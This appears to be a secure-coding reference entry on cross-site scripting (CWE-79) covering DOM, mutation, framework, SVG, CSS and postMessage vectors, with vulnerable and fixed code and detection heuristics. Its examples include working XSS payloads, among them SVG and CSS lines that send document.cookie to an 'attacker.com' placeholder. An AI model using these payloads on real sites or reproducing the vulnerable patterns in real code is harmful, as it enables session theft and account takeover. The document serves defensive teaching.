CWE-79: Cross-Site Scripting (XSS)¶
CWE-79 | OWASP Top 10 A03:2021 | Rank 1 in CWE Top 25 (Vul-RAG Deep Entry)
Functional Semantics¶
XSS injects attacker-controlled script into a victim's browser execution context, granting full same-origin capabilities: cookie theft, session hijacking, keylogging, DOM manipulation, credential harvesting, browser-as-pivot. Three sub-types differ in persistence and execution path, not in impact:
- Reflected — payload echoed in immediate response; requires victim to visit attacker URL
- Stored — payload persisted (DB, log, profile field) and rendered for other users
- DOM-based — no server involvement; client-side JS reads attacker data from URL/postMessage and writes it to DOM
This entry focuses on non-trivial vectors: DOM XSS, mutation XSS, framework escape hatches, SVG/CSS injection, and postMessage attacks.
Root Cause¶
The browser's HTML parser does not distinguish between markup from the application and markup from user data. Any user-controlled string inserted into an HTML context without context-aware escaping becomes executable.
Three failure modes: 1. Missing escaping — raw string interpolated into HTML 2. Wrong escaping — HTML-escaped string placed in JavaScript context (JS requires JS string escaping, not &) 3. Escaping bypass — user input passes through a transformation that re-introduces executable syntax (mutation XSS)
DOM-Based XSS¶
No server reflection required. The source is a browser API; the sink is a DOM manipulation function.
Sources (attacker-controlled DOM data): - location.hash, location.search, location.href - document.referrer - window.name - postMessage data - localStorage/sessionStorage if previously poisoned - document.cookie (if app writes cookie from URL param)
Sinks (code execution on assignment): - element.innerHTML = ... - element.outerHTML = ... - document.write(...) - document.writeln(...) - eval(...), new Function(...) - setTimeout("string"), setInterval("string") - element.insertAdjacentHTML(...) - DOMParser.parseFromString(..., "text/html") then inserted - jQuery: $(selector).html(...), $.parseHTML()
// VULNERABLE: source = location.hash, sink = innerHTML
// Attack URL: https://example.com/page#<img src=x onerror=alert(1)>
const param = decodeURIComponent(location.hash.slice(1));
document.getElementById("welcome").innerHTML = "Hello " + param;
// VULNERABLE: source = postMessage, sink = innerHTML (no origin check)
window.addEventListener("message", (e) => {
document.getElementById("content").innerHTML = e.data.html;
});
// VULNERABLE: source = URL param, sink = eval
const fn = new URLSearchParams(location.search).get("callback");
eval(fn + "()"); // attacker: ?callback=alert(document.cookie)
// FIXED: DOM XSS — use textContent (no HTML parsing) for text; DOMPurify for HTML
const param = decodeURIComponent(location.hash.slice(1));
document.getElementById("welcome").textContent = "Hello " + param; // safe
// FIXED: postMessage with origin validation and sanitization
window.addEventListener("message", (e) => {
if (e.origin !== "https://trusted-partner.com") return;
const clean = DOMPurify.sanitize(e.data.html); // allowlist-based sanitization
document.getElementById("content").innerHTML = clean;
});
Mutation XSS (mXSS)¶
mXSS occurs when a sanitized string is re-parsed by the browser's HTML parser and the mutation produces executable markup. The sanitizer sees safe HTML; after insertion and reparsing, the browser reconstructs a different, executable DOM.
Classic mXSS vector — namespace confusion:
<!-- Input after DOMPurify (old versions): appears safe -->
<svg><p id="<img src=x onerror=alert(1)>"></p></svg>
<!-- Browser re-parses and extracts img from SVG namespace context:
The parser's state machine treats the SVG content differently,
causing the id attribute content to become an img element -->
noscript mXSS:
<!-- When JS is enabled, <noscript> content is not parsed as HTML.
Sanitizer parses without JS → sees text node inside noscript → passes.
Browser with JS enabled → parses noscript differently in some contexts. -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>"></noscript>
Mitigation: Keep sanitization libraries updated (DOMPurify 3.x resolved many mXSS vectors). Apply sanitization at insertion time (innerHTML = DOMPurify.sanitize(html)), not at storage time — storage-time sanitization is invalidated by library updates.
Framework Escape Hatches¶
Frameworks provide safe defaults but expose explicit bypasses for "legitimate" HTML insertion.
React — dangerouslySetInnerHTML¶
// VULNERABLE: user-controlled description rendered as HTML
function PostBody({ post }) {
return (
<div dangerouslySetInnerHTML={{ __html: post.description }} />
);
}
// FIXED: sanitize before insertion
import DOMPurify from "dompurify";
function PostBody({ post }) {
const clean = DOMPurify.sanitize(post.description, {
ALLOWED_TAGS: ["p", "b", "i", "a", "ul", "li"],
ALLOWED_ATTR: ["href", "target"]
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
React-specific note: JSX {} interpolation always escapes — <div>{userInput}</div> is safe. Only dangerouslySetInnerHTML and javascript: hrefs are sinks.
// VULNERABLE: javascript: href
function Link({ url }) {
return <a href={url}>Click</a>; // attacker: url = "javascript:alert(1)"
}
// FIXED: validate URL scheme
function Link({ url }) {
const safe = /^https?:\/\//.test(url) ? url : "#";
return <a href={safe}>Click</a>;
}
Vue — v-html¶
<!-- VULNERABLE: v-html renders raw HTML -->
<template>
<div v-html="userComment"></div>
</template>
<!-- FIXED: sanitize in computed property -->
<template>
<div v-html="sanitizedComment"></div>
</template>
<script>
import DOMPurify from "dompurify";
export default {
computed: {
sanitizedComment() {
return DOMPurify.sanitize(this.userComment);
}
}
}
</script>
Angular — bypassSecurityTrust*¶
// VULNERABLE: bypasses Angular's sanitization
import { DomSanitizer } from "@angular/platform-browser";
@Component({
template: `<div [innerHTML]="trustedHtml"></div>`
})
export class ContentComponent {
trustedHtml: SafeHtml;
constructor(private sanitizer: DomSanitizer) {
// bypassSecurityTrustHtml tells Angular not to sanitize
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml(
this.userInput // VULNERABLE if userInput is attacker-controlled
);
}
}
// FIXED: use Angular's built-in sanitization (default [innerHTML] behavior)
@Component({
template: `<div [innerHTML]="userInput"></div>` // Angular sanitizes automatically
})
export class ContentComponent {
userInput: string; // Angular's DomSanitizer strips script tags by default
}
SVG and MathML Injection¶
SVG is valid HTML5 and executes script in the same origin when embedded:
<!-- Stored as profile avatar URL or in rich text -->
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.cookie)</script>
</svg>
<!-- SVG event handlers — no <script> tag needed -->
<svg onload="fetch('https://attacker.com/?c='+document.cookie)">
<animate attributeName="x" values="0;1" onbegin="eval(atob('YWxlcnQoMSk='))"/>
</svg>
<!-- MathML -->
<math><mtext><![CDATA[</mtext><script>alert(1)</script>]]></mtext></math>
Detection: File upload handlers that accept SVG without stripping <script> and event handlers. Content-Type sniffing by browsers if the server serves SVG as text/plain or application/octet-stream without X-Content-Type-Options: nosniff.
Fix: Either reject SVG uploads, or sanitize with a parser that strips script content (DOMPurify handles SVG; server-side: svgo with plugin removeScripts).
CSS Injection¶
CSS injection is lower severity than script injection but still exploitable:
<!-- Style injection via unescaped CSS value -->
<style>
.user-theme { color: {{ userColor }}; }
</style>
<!-- attacker input: red; } body { background: url('//attacker.com/?c='+document.cookie+'; .x { -->
Impact of CSS injection: - Exfiltrate data via background: url() or font-face src (CSS exfiltration) - UI redressing / clickjacking overlay - expression() (IE legacy) executed JS - CSS @import of external stylesheet
Fix: Never interpolate user data into <style> blocks or style= attributes. Use CSS custom properties with validated values.
PostMessage Without Origin Check¶
// VULNERABLE: any window can send messages
window.addEventListener("message", (event) => {
// Missing: if (event.origin !== "https://trusted.com") return;
document.getElementById("panel").innerHTML = event.data;
});
// FIXED: strict origin allowlist
const ALLOWED_ORIGINS = new Set(["https://app.example.com", "https://widget.example.com"]);
window.addEventListener("message", (event) => {
if (!ALLOWED_ORIGINS.has(event.origin)) return;
// Also validate structure — event.data could be any type
if (typeof event.data !== "object" || !event.data.type) return;
handleMessage(event.data);
});
Context-Specific Escaping Requirements¶
| Insertion Context | Required Escaping | Incorrect Approach |
|---|---|---|
| HTML body content | HTML entity encode (<, >, &, ") | None |
| HTML attribute value | HTML entity encode + quote attribute | HTML encode only (unquoted attrs) |
| JavaScript string | JS string escape (\, ", ', \n, \r) | HTML entity encode |
| JavaScript template literal | JS escape + backtick/${ escape | HTML entity encode |
| CSS value | CSS hex encode | HTML entity encode |
| URL parameter | encodeURIComponent() | HTML entity encode |
JSON in <script> | </ → <\/, <!-- → <\!-- | Standard JSON only |
Detection Heuristics¶
Static analysis triggers: - innerHTML, outerHTML, insertAdjacentHTML with non-constant right-hand side - document.write(, document.writeln( with variable arguments - eval(, new Function(, setTimeout(string, setInterval(string - dangerouslySetInnerHTML={{ __html: expr }} where expr is not a literal - v-html="expr" where expr is not sanitized in computed property - bypassSecurityTrustHtml(, bypassSecurityTrustScript(, bypassSecurityTrustUrl( - window.addEventListener("message", ...) without origin check - jQuery: .html(expr), .append(expr) where expr is user-derived
Data-flow triggers: - location.hash, location.search, document.referrer flowing into DOM sinks without escaping - postMessage event.data flowing into innerHTML - Database string retrieved in API response flowing client-side into innerHTML
False positive indicators: - innerHTML set to a string literal in source code (no user-controlled data flow) - dangerouslySetInnerHTML consuming output of DOMPurify.sanitize with strict allowlist - Markdown renderer that outputs pre-sanitized HTML with a maintained allowlist (e.g., marked + sanitize-html) - eval() applied to a JSON response from the application's own API over HTTPS — lower risk but still worth flagging (use JSON.parse)
Gotchas¶
- Sanitization at storage vs. render time: Sanitizing on input and storing cleaned HTML means the sanitizer version is frozen. A later-discovered sanitizer bypass in old input affects all historical content. Sanitize at render time using the current library version.
- Trusted types (browser API): Chrome's Trusted Types API enforces that only designated "policies" can assign to innerHTML. Effective defense-in-depth; configure via
Content-Security-Policy: require-trusted-types-for 'script'. Does not replace input sanitization. - CSP is not a primary fix:
Content-Security-Policy: script-src 'self'breaks many XSS attacks but is bypassed by: JSONP endpoints on allowed origins, Angular's$compile, CDN-hosted libraries. Use CSP as defense-in-depth, not primary control. javascript:URIs in href/src/action: HTML-escaping a URL does not preventjavascript:alert(1)from being an executable href. Validate scheme (/^https?:/) separately.- DOM clobbering: HTML elements with
idornameattributes shadow global JavaScript variables.<img id="document">can shadowdocument.forms, leading to prototype pollution paths. Sanitize id/name attributes in untrusted HTML. - Template injection in server-side templates vs. client-side XSS: Jinja2
{{ user_input }}with auto-escaping is safe for HTML but vulnerable if user_input reaches an unescaped{{ user_input | safe }}— this is SSTI (CWE-1336), not XSS, but impact is RCE.
See Also¶
- CWE-116: Improper Encoding — root cause: incorrect or missing output encoding
- CWE-352: Csrf — frequently combined: XSS defeats CSRF tokens stored in JS-accessible locations
- CWE-1336: Template Injection — server-side analog; similar data flow, higher impact (RCE)
- CWE-601: Open Redirect — often chained: redirect to attacker's XSS payload delivery page